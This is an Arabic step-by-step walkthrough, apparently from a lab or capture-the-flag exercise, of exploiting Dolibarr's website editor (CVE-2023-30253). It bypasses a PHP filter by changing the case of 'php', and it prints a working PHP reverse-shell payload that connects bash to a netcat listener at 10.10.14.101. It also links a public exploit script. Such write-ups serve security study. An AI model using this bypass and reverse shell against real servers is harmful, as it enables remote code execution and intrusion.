أولاً قم بإنشاء موقع ويب، ثم أنشئ صفحة.

بعد إنشاء الموقع والصفحة، انقر على أيقونة المنظار، وستفتح الصفحة التي أنشأناها في تبويب جديد.

الآن انقر على "تحرير مصدر HTML" (Edit HTML Source).

هنا يمكننا محاولة إضافة كود php، ولكن هناك نوع من الفلاتر يمنعنا من كتابة كود php. يمكن تجاوز ذلك بسهولة عن طريق تغيير صيغة كلمة php.

بعد تغيير صيغة كلمة php إلى pHp، نرى أنه تم الحفظ بنجاح.

عند الانتقال إلى الصفحة، نرى أن كود php الذي أدخلناه يعمل.

الآن للحصول على القشرة العكسية، لنقم بإعداد مستمع netcat.

ثم نضيف كود القشرة العكسية الخاص بنا: <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.101/1010 0>&1'"); ?>

الآن فتح الموقع يعطينا قشرة عكسية.

يمكننا استخدام كود python لتسهيل الأمر

قم بإعداد مستمع netcat.

قم بتشغيل السكربت وسنحصل على قشرة عكسية.

مؤلف السكربت: https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253